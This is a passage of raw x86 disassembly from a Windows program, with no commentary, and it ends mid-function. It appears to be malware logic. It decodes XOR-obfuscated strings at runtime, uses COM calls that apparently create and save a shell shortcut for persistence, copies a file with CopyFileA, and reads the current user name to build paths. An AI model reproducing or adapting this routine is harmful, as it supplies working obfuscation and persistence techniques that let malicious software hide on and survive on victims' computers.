cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x42d611
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.004b34b0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x738]
call fcn.0040fe60
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x750]
call fcn.0040fe60
sub esp, 0x18
lea eax, [ebp - 0xd0]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0x13
call fcn.0041a170
add esp, 0x18
test al, al
jne 0x42d75a
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x42d75a
lea eax, [ebp - 0x34]
push eax
push 0x55c500
push 1
push 0
push 0x55c530
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x42d754
mov edx, dword [ebp - 0x34]
cmp dword [ebp - 0x324], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x50]
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
push eax
push edx
call ecx
mov edx, dword [ebp - 0x34]
cmp dword [ebp - 0xd4], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x1c]
lea eax, [ebp - 0xe8]
cmovae eax, dword [ebp - 0xe8]
push eax
push edx
call ecx
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x6c]
push edx
push 0x55c510
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x42d74b
push 0x208
lea eax, [ebp - 0xbf8]
push 0
push eax
call fcn.005256f0
add esp, 0xc
lea ecx, [ebp - 0xbf8]
cmp dword [ebp - 0xbc], 0x10
lea eax, [ebp - 0xd0]
cmovae eax, dword [ebp - 0xd0]
push 0x104
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x6c]
lea edx, [ebp - 0xbf8]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x42d798
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d78e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb1c
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x338]
call fcn.0040fe60
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xb8]
call fcn.0040fe60
mov dword [ebp - 0x28], 0x8b04e
mov dword [ebp - 0x24], 0x5e7a48c3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0xe9041260
mov dword [ebp - 0x24], 0xbe4fe36c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x4a4], ecx
pxor xmm1, xmmword [ebp - 0x4b0]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.00532121
mov edx, eax
add esp, 4
test edx, edx
je 0x42eab1
mov ecx, edx
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x4c], xmm0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d8a0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.004100e0
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0x4b4], ecx
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x4b8], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x4c0]
movaps xmmword [ebp - 0x150], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d956
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.004b34b0
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push dword [ebp - 0x90]
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x4c]
push eax
call fcn.004b34b0
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x4c]
call fcn.0041a270
test al, al
jne 0x42da05
cmp dword [ebp - 0x38], 0x10
lea edx, [ebp - 0x4c]
xorps xmm0, xmm0
mov dword [ebp - 0x698], 0
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
mov dword [ebp - 0x694], 0
movups xmmword [ebp - 0x6a8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d9d4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x6a8]
call fcn.004100e0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6a8]
or dword [ebp - 0x2c], 2
call fcn.0042bf70
mov byte [ebp - 0x2d], 0
test al, al
je 0x42da09
mov byte [ebp - 0x2d], 1
mov dword [ebp - 4], 0x17
mov eax, dword [ebp - 0x2c]
test al, 2
je 0x42da28
and eax, 0xfffffffd
lea ecx, [ebp - 0x6a8]
mov dword [ebp - 0x2c], eax
call fcn.0040fe60
cmp byte [ebp - 0x2d], 0
je 0x42ea67
mov dword [ebp - 0x28], 0x303c9921
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4cc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
pxor xmm1, xmmword [ebp - 0x4d0]
movaps xmmword [ebp - 0x2c0], xmm1
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4dc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
pxor xmm1, xmmword [ebp - 0x4e0]
movaps xmmword [ebp - 0x160], xmm1
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42db70
sub ecx, edx
mov edx, dword [ebp - 0x3c]
sub edi, edx
cmp edi, ecx
jb 0x42eb21
cmp dword [ebp - 0x38], 0x10
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x160]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x720]
call fcn.004b92d0
mov esi, dword [ebp - 0x2c]
or esi, 0x40
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0x720]
push dword [ebp - 0x90]
cmovae eax, dword [ebp - 0xa0]
push eax
call fcn.004b34b0
mov dword [ebp - 0x528], 0
lea edx, [ebp - 0x538]
mov dword [ebp - 0x524], 0
lea ecx, [ebp - 0x88]
xorps xmm0, xmm0
or esi, 0x80
movups xmmword [ebp - 0x538], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x538], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x528], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x1b
and esi, 0xffffff7f
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x538]
call fcn.0040fe60
and esi, 0xffffffbf
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x720]
call fcn.0040fe60
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1d
call fcn.0041a170
add esp, 0x18
test al, al
jne 0x42e96f
cmp dword [ebp - 0x74], 0x10
lea ecx, [ebp - 0x88]
push 0
cmovae ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42e96f
push 0x104
lea eax, [ebp - 0x8e8]
mov dword [ebp - 0x70], 0x104
push 0
push eax
call fcn.005256f0
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x8e8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x28], 0x7716b42f
mov dword [ebp - 0x24], 0x6e5b22b0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x28], 0xfa040810
mov dword [ebp - 0x24], 0x9e53e377
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x28], 0x1c41fbe
mov dword [ebp - 0x24], 0xdff12322
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x28], 0x5dfef7cf
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x380]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x5c0]
vmovdqa ymmword [ebp - 0x380], ymm0
mov dword [ebp - 0x28], 0x216bdc2d
mov dword [ebp - 0x24], 0xd0a2dfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x28], 0xaf4b4030
vxorps xmm0, xmm0, xmm0
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4e8], eax
vpxor xmm1, xmm1, xmmword [ebp - 0x4f0]
vmovaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x28], 0x216bdc2d
mov dword [ebp - 0x24], 0xd0a2de2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x4f4], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x4f8], eax
lea edx, [ecx + 1]
vpxor xmm1, xmm1, xmmword [ebp - 0x500]
vmovaps xmmword [ebp - 0x2d0], xmm1
vmovups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0
vzeroupper
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42df80
sub ecx, edx
lea eax, [ebp - 0x8e8]
push ecx
push eax
lea ecx, [ebp - 0x320]
call fcn.004100e0
mov byte [ebp - 4], 0x1f
lea edx, [ebp - 0x360]
mov dword [ebp - 0x28], 0x212c9f7c
mov dword [ebp - 0x24], 0x7e437ef1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x28], 0xdd286f10
mov dword [ebp - 0x24], 0xdb7ece40
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x28], 0x1ce42b1
mov dword [ebp - 0x24], 0xb7e33845
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x28], 0x5daaa4a8
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x360]
mov dword [ebp - 0x5c8], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x5c4], ecx
lea ecx, [ebp - 0x798]
vpxor ymm0, ymm0, ymmword [ebp - 0x5e0]
vmovdqa ymmword [ebp - 0x360], ymm0
push eax
vzeroupper
call fcn.004b5410
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2d0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x780]
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push dword [ebp - 0x78]
cmovae ecx, dword [ebp - 0x88]
push ecx
mov ecx, eax
call fcn.004b34b0
mov esi, dword [ebp - 0x2c]
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x1b0], 0
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x1ac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c0], xmm0
or esi, 0x100
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x240]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push dword [ebp - 0x90]
cmovae ecx, dword [ebp - 0xa0]
push ecx
mov ecx, eax
call fcn.004b34b0
mov dword [ebp - 0x168], 0
lea edx, [ebp - 0x178]
mov dword [ebp - 0x164], 0
lea ecx, [ebp - 0x6d8]
xorps xmm0, xmm0
or esi, 0x200
movups xmmword [ebp - 0x178], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x380]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x25
and esi, 0xfffffdff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x42e259
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e24f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb26
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x768]
call fcn.0040fe60
and esi, 0xfffffeff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0x10
jb 0x42e2ca
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e2c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb26
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x780]
call fcn.0040fe60
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x798]
call fcn.0040fe60
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x42e341
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e337
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb26
push ecx
push edx
call fcn.0050d4b1
add esp, 8
cmp dword [ebp - 0x6c4], 0x10
lea ecx, [ebp - 0x6d8]
mov dword [ebp - 0x310], 0
cmovae ecx, dword [ebp - 0x6d8]
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
call fcn.0042c1f0
mov dword [ebp - 0x28], 0x7703b02f
mov dword [ebp - 0x24], 0x6e5b22b0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x28], 0xe3050f10
mov dword [ebp - 0x24], 0xf045e86a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x28], 0x4dda42b1
mov dword [ebp - 0x24], 0xd0ff224a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x28], 0x9f9e1c2
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x3c0]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x600]
vmovdqa ymmword [ebp - 0x3c0], ymm0
mov dword [ebp - 0x28], 0x216bdc2d
mov dword [ebp - 0x24], 0xd0a2dfe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x50c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x508], eax
vmovaps xmm1, xmmword [ebp - 0x200]
vxorps xmm0, xmm0, xmm0
mov dword [ebp - 0x504], ecx
vpxor xmm1, xmm1, xmmword [ebp - 0x510]
vmovaps xmmword [ebp - 0x200], xmm1
mov dword [ebp - 0x28], 0x216bdc2d
mov dword [ebp - 0x24], 0xd0a2de2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x474], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x478], eax
lea edx, [ecx + 1]
vpxor xmm1, xmm1, xmmword [ebp - 0x480]
vmovaps xmmword [ebp - 0x2f0], xmm1
vmovups xmmword [ebp - 0x678], xmm0
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x664], 0
vzeroupper
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e5f0
sub ecx, edx
lea eax, [ebp - 0x8e8]
push ecx
push eax
lea ecx, [ebp - 0x678]
call fcn.004100e0
mov byte [ebp - 4], 0x2c
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x28], 0x212c9f7c
mov dword [ebp - 0x24], 0x7e437ef1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x28], 0xdd286f10
mov dword [ebp - 0x24], 0xdb7ece40
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x28], 0x1ce42b1
mov dword [ebp - 0x24], 0xb7e33845
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x28], 0x5daaa4a8
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x28], 0x21a86d91
